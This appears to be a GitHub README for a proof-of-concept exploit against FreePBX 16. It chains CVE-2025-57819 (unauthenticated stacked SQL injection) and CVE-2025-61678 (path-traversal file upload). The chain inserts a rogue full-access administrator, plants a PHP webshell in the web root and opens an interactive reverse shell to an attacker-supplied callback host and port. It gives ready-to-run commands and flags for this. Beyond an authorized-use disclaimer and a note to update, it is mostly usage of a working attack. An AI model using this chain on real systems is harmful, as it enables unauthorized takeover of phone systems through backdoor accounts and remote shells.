0xehab/freepbx-cve-2025-57819-rceUnauthenticated SQL injection and arbitrary file upload exploit chain for FreePBX 16, achieving remote code execution via admin creation and webshell deployment.
Proof-of-concept exploit chaining two FreePBX vulnerabilities to go from zero access to remote code execution on FreePBX 16.
| CVE | Component | Impact |
|---|---|---|
| CVE-2025-57819 | Endpoint module loader (brand parameter) | Unauthenticated stacked SQL injection |
| CVE-2025-61678 | Endpoint Manager firmware uploader (fwbrand parameter) | Authenticated arbitrary file upload (path traversal) |
INSERT a brand-new full-access administrator
directly into the ampusers table.../../../var/www/html/<dir> traversal in fwbrand to write a PHP webshell into the
web root.FreePBX 16 (Endpoint module prior to 16.0.92). Also patched in 17.0.6.
Update to a fixed release.
# single command
python3 exploit.py --rhost pbx.example.com --command "id"
# interactive reverse shell (auto-listener via pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# plain HTTP / custom port
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
| Flag | Description |
|---|---|
--rhost | Target host (required) |
--rport | Target port (default 443) |
--http | Use HTTP instead of HTTPS |
--lhost / --lport | Reverse-shell callback address |
--command | Run a single command instead of a shell |
pip install requests pwntools
For authorized security testing and educational purposes only. Use it exclusively on systems you own or have explicit written permission to test. The author assumes no liability for misuse.
FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · unauthenticated SQL injection · stacked query injection · endpoint module · Endpoint Manager · authenticated file upload · path traversal · remote code execution · RCE · PoC · exploit · VoIP security
linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb